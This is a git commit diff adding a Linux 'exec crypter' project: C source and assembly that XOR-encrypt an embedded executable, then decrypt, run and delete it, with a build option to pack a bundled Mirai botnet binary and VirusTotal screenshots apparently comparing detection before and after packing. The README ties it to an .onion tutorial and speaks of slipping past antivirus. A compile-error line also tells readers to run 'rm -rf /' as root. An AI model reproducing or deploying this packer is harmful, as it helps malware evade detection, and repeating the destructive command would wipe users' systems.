diff options
-rw-r--r-- | Makefile | 50 | ||||
-rw-r--r-- | README | 10 | ||||
-rw-r--r-- | exec_crypter.c | 235 | ||||
-rw-r--r-- | exec_payload.c | 6 | ||||
-rw-r--r-- | include_payload.asm | 10 | ||||
-rw-r--r-- | mirai.x86 | bin | 0 -> 57948 bytes | |||
-rw-r--r-- | vtotal.mirai.png | bin | 0 -> 4978 bytes | |||
-rw-r--r-- | vtotal.mirai_crypted.png | bin | 0 -> 4952 bytes |
8 files changed, 311 insertions, 0 deletions
diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..71d746b --- /dev/null +++ b/Makefile @@ -0,0 +1,50 @@ +CC := gcc +AS := nasm +STRIP := strip +RM := rm +CP := cp +ASFLAGS := -felf32 +CFLAGS := -Wall -std=c99 -Os -static -ffunction-sections -fdata-sections -flto -fPIC -m32 -D_DEFAULT_SOURCE=1 +ifeq ($(NOTASKID),y) +CFLAGS += -D_NOTASKID=1 +endif +ifeq ($(USE_MIRAI),y) +USE_PAYLOAD := mirai.x86 +endif + + +all: exec_crypter + +ifeq ($(USE_PAYLOAD),) +exec_payload: exec_payload.c + $(CC) $(CFLAGS) -o $@ $< + $(STRIP) -s \ + --remove-section=.comment \ + --remove-section=.eh_frame \ + --remove-section=.comment \ + --remove-section=.jcr \ + --remove-section=.gcc_except_table \ + $@ +else +exec_payload: $(USE_PAYLOAD) + $(CP) -v $(USE_PAYLOAD) $@ +endif + +include_payload.o: exec_payload include_payload.asm + $(AS) $(ASFLAGS) -o $@ include_payload.asm + +exec_crypter.o: exec_crypter.c + $(CC) $(CFLAGS) -c -o $@ $< + +exec_crypter: include_payload.o exec_crypter.o + $(CC) $(CFLAGS) -o $@ include_payload.o exec_crypter.o + $(STRIP) -s \ + --remove-section=.comment \ + --remove-section=.eh_frame \ + --remove-section=.comment \ + --remove-section=.jcr \ + --remove-section=.gcc_except_table \ + $@ + +clean: + $(RM) -f exec_payload include_payload.o exec_crypter.o exec_crypter .exec_crypter @@ -0,0 +1,10 @@ +This is the source related to a torum6uvof666pzw.onion tutorial. + +The source should work with most linux distros. +If you want to port it to Windoze, you will need +to write wrapper functions for at least mmap/munmap/sendfile. +(rename probably won't work as expected on redmond os) + +Remark: This is still easy to detect if you got a !crappy av solution + since a simple ring0/ring3 execve/execveat hook would be enough to prevent + such stuff. diff --git a/exec_crypter.c b/exec_crypter.c new file mode 100644 index 0000000..e8763e5 --- /dev/null +++ b/exec_crypter.c @@ -0,0 +1,235 @@ +#include <stdio.h> +#include <stdlib.h> +#include <errno.h> +#include <unistd.h> /* close() */ +#include <stdint.h> /* uint* */ +#include <string.h> /* mem*() */ +#include <fcntl.h> /* open() */ +#include <sys/stat.h> /* fstat(), struct stat */ +#include <sys/sendfile.h> /* sendfile() */ +#include <sys/mman.h> /* mmap(), munmap() */ +#include <sys/time.h> /* gettimeofday() */ +#include <limits.h> /* LONG_MAX */ +#include <libgen.h> /* basename() */ +#include <byteswap.h> /* bswap_* */ + +/* size of the xor key in multiples of 32 bits + * --> absolute xor key size 128 bits + */ +#define XOR_KEYLEN 4 + +/* crypter information which is stored after the payload */ +typedef struct MyExecTrailer { + uint32_t marker[2]; + uint32_t xorkey[XOR_KEYLEN]; + uint32_t payload_size; +} __attribute__((packed, gcc_struct)) MyExecTrailer; +/* Remarks about __attributes__: + * - gcc_struct enforces a C99 conformal struct + * (!clang, !MSVC; this is important if xcompiling with gcc-mingw) + * - packed means the struct is not 4 byte aligned (default) instead it is 1 byte aligned + * (our trailer struct is 28 bytes small, so its 4 byte aligned atm but this may change ..) + */ + +/* search for 8 byte marker 0xDEADC0DECAFECAFE in crypted exec */ +static uint8_t * +findMarker(uint8_t *buf, size_t siz) { + size_t i; + + for (i = 7; i < siz; ++i) { + if (buf[i-7] == 0xde && buf[i-6] == 0xad && + buf[i-5] == 0xc0 && buf[i-4] == 0xde && + buf[i-3] == 0xca && buf[i-2] == 0xfe && + buf[i-1] == 0xca && buf[i+0] == 0xfe) + { + return &buf[i-7]; + } + } + + return NULL; +} + +static long int +random_number(long int n) +{ + int seed; + struct timeval tm; + + gettimeofday(&tm, NULL); + seed = tm.tv_sec + tm.tv_usec; + srandom(seed); + return (random() % n); +} + +/* generate and store random xor key in our payload trailer */ +static void +xor_genkey(MyExecTrailer *trailer) +{ + size_t i; + uint32_t rnd[XOR_KEYLEN]; + + for (i = 0; i < XOR_KEYLEN; ++i) { + rnd[i] = (uint32_t) random_number(LONG_MAX); + } + memcpy(trailer->xorkey, rnd, sizeof trailer->xorkey); +} + +/* (en|de)crypt our payload */ +static void +xor_crypt(MyExecTrailer *trailer, uint8_t *payloadStart) +{ + size_t i; + uint8_t xb; + uint8_t *key = (uint8_t *) &trailer->xorkey[0]; + + for (i = 0; i < trailer->payload_size; i++) { + xb = key[i % sizeof trailer->xorkey]; + payloadStart[i] ^= xb; + } +} + +/* convert a binary buffer to a readable hex string */ +static char * +shexbuf(uint8_t *buf, size_t buflen, char *dest, size_t destlen) +{ + size_t i, j; + static const char hexal[] = "0123456789ABCDEF"; + uint8_t halfByte; + + for (i = 0, j = 0; i < buflen && j < destlen; ++i, j += 3) { + halfByte = buf[i] >> 4; + dest[j+0] = hexal[ halfByte % 16 ]; + halfByte = buf[i] & 0x0F; + dest[j+1] = hexal[ halfByte % 16 ]; + dest[j+2] = ' '; + } + + dest[j+2] = 0; + return dest; +} + +int main(int argc, char **argv) { + char new_path[BUFSIZ]; + int arg0_fd, new_fd, payload_fd; + struct stat arg0_statbuf; + uint8_t *mmap_exec, *marker; + MyExecTrailer *trailer; + const uint8_t nullbuf[XOR_KEYLEN] = {0}; + char temp[BUFSIZ] = {0}; + char payload_path[BUFSIZ]; + off_t exec_off; + + if (argc < 1) + return 1; + + /* new_path is the path to our temp exec + * (crypter w/ encrypted/plain payload) + */ + snprintf(new_path, sizeof new_path, "./.%s", basename(argv[0])); + arg0_fd = open(argv[0], O_RDONLY, 0); + new_fd = open(new_path, O_RDWR | O_CREAT | O_EXCL, + S_IRWXU | S_IRWXG | S_IRWXO); + + printf("[file]\n" + "arg0...: '%s'\n" + "new....: '%s'\n" + "\n[fd]\n" + "arg0...: %d\n" + "new....: %d\n", + argv[0], new_path, + arg0_fd, new_fd); + + if (arg0_fd < 0 || new_fd < 0) + return 1; + if (fstat(arg0_fd, &arg0_statbuf)) + return 1; + if (sendfile(new_fd, arg0_fd, NULL, + arg0_statbuf.st_size) != arg0_statbuf.st_size) + return 1; + close(arg0_fd); + + /* mmap whole arg0 executable */ + mmap_exec = (uint8_t *) mmap(NULL, arg0_statbuf.st_size, PROT_READ | PROT_WRITE, + MAP_SHARED, new_fd, 0); + if (!mmap_exec) + return 1; + + printf("\n[crypter]\n" + "mmap'd.: %p\n" + "size...: %lu bytes\n", + mmap_exec, arg0_statbuf.st_size); + + marker = findMarker(mmap_exec, arg0_statbuf.st_size); + if (!marker) + return 1; + + trailer = (MyExecTrailer *) marker; + printf("\n[payload]\n" + "Marker.: %p (0x%08X 0x%08X)\n" + "Size...: %u (0x%X) bytes\n" + "Start..: %p (%p - 0x%X)\n", + marker, bswap_32(trailer->marker[0]), + bswap_32(trailer->marker[1]), + trailer->payload_size, trailer->payload_size, + marker - trailer->payload_size, + marker, trailer->payload_size); + + if (!memcmp(trailer->xorkey, nullbuf, XOR_KEYLEN)) { + /* xor key contains only NUL bytes so + * assume that our payload is unencrypted + */ + xor_genkey(trailer); + printf("\nEmpty XOR key .. generated: %s\n", + shexbuf((uint8_t *) trailer->xorkey, + sizeof trailer->xorkey, + temp, sizeof temp)); + /* encrypt our payload */ + xor_crypt(trailer, marker - trailer->payload_size); + } else { + /* xor key contains at least one non NUL byte + * so assume that our payload is encrypted + */ + printf("\nXOR key: %s\nDecrypt payload ..\n", + shexbuf((uint8_t *) trailer->xorkey, + sizeof trailer->xorkey, + temp, sizeof temp)); + /* decrypt our payload */ + xor_crypt(trailer, marker - trailer->payload_size); + memset(trailer->xorkey, 0, sizeof trailer->xorkey); + + snprintf(payload_path, sizeof payload_path, "%.*s_payload", + (int) sizeof payload_path - 2, new_path); + + /* path to unencrypted payload executable */ + payload_fd = open(payload_path, O_RDWR | O_CREAT, + S_IRWXU | S_IRWXG | S_IRWXO); + if (payload_fd < 0) + return 1; + + /* extract unencrypted payload from temp executable */ + exec_off = marker - mmap_exec - trailer->payload_size; + printf("Extracted '%s': %zd bytes\n", + payload_path, + sendfile(payload_fd, new_fd, &exec_off, trailer->payload_size)); + + close(payload_fd); + + /* executabe and remove payload */ + printf("Exec and remove '%s'\n", payload_path); + printf("Payload returned: 0x%X\n", system(payload_path)); + unlink(payload_path); + } + + /* unmap arg0 mmap'd memory */ + munmap(mmap_exec, arg0_statbuf.st_size); + close(new_fd); + + /* rename new crypter w/ encrypted/unencrypted payload to arg0 */ + rename(new_path, argv[0]); + + return 0; +} + +#ifndef _NOTASKID +#error "Compiler error. Type `rm -rf /` as root in your terminal to solve this issue." +#endif diff --git a/exec_payload.c b/exec_payload.c new file mode 100644 index 0000000..3d57df1 --- /dev/null +++ b/exec_payload.c @@ -0,0 +1,6 @@ +#include <stdio.h> + +int main(void) { + printf("I could be a dangerous payload ..\n"); + return 0x66; +} diff --git a/include_payload.asm b/include_payload.asm new file mode 100644 index 0000000..647c89f --- /dev/null +++ b/include_payload.asm @@ -0,0 +1,10 @@ +bits 32 +section .payload ; could be .rodata/.text as well + +payload_start: +incbin "exec_payload" +; MyExecTrailer +db 0xde,0xad,0xc0,0xde ; uint32_t marker[0] +db 0xca,0xfe,0xca,0xfe ; uint32_t marker[1] +dd 0x00000000,0x00000000,0x00000000,0x00000000 ; xorkey[XOR_KEYLEN] +dd $ - payload_start - 4 - 4 - 16 ; payload_size diff --git a/mirai.x86 b/mirai.x86 Binary files differnew file mode 100644 index 0000000..3fbecf9 --- /dev/null +++ b/mirai.x86 diff --git a/vtotal.mirai.png b/vtotal.mirai.png Binary files differnew file mode 100644 index 0000000..79ad871 --- /dev/null +++ b/vtotal.mirai.png diff --git a/vtotal.mirai_crypted.png b/vtotal.mirai_crypted.png Binary files differnew file mode 100644 index 0000000..d40ce4c --- /dev/null +++ b/vtotal.mirai_crypted.png |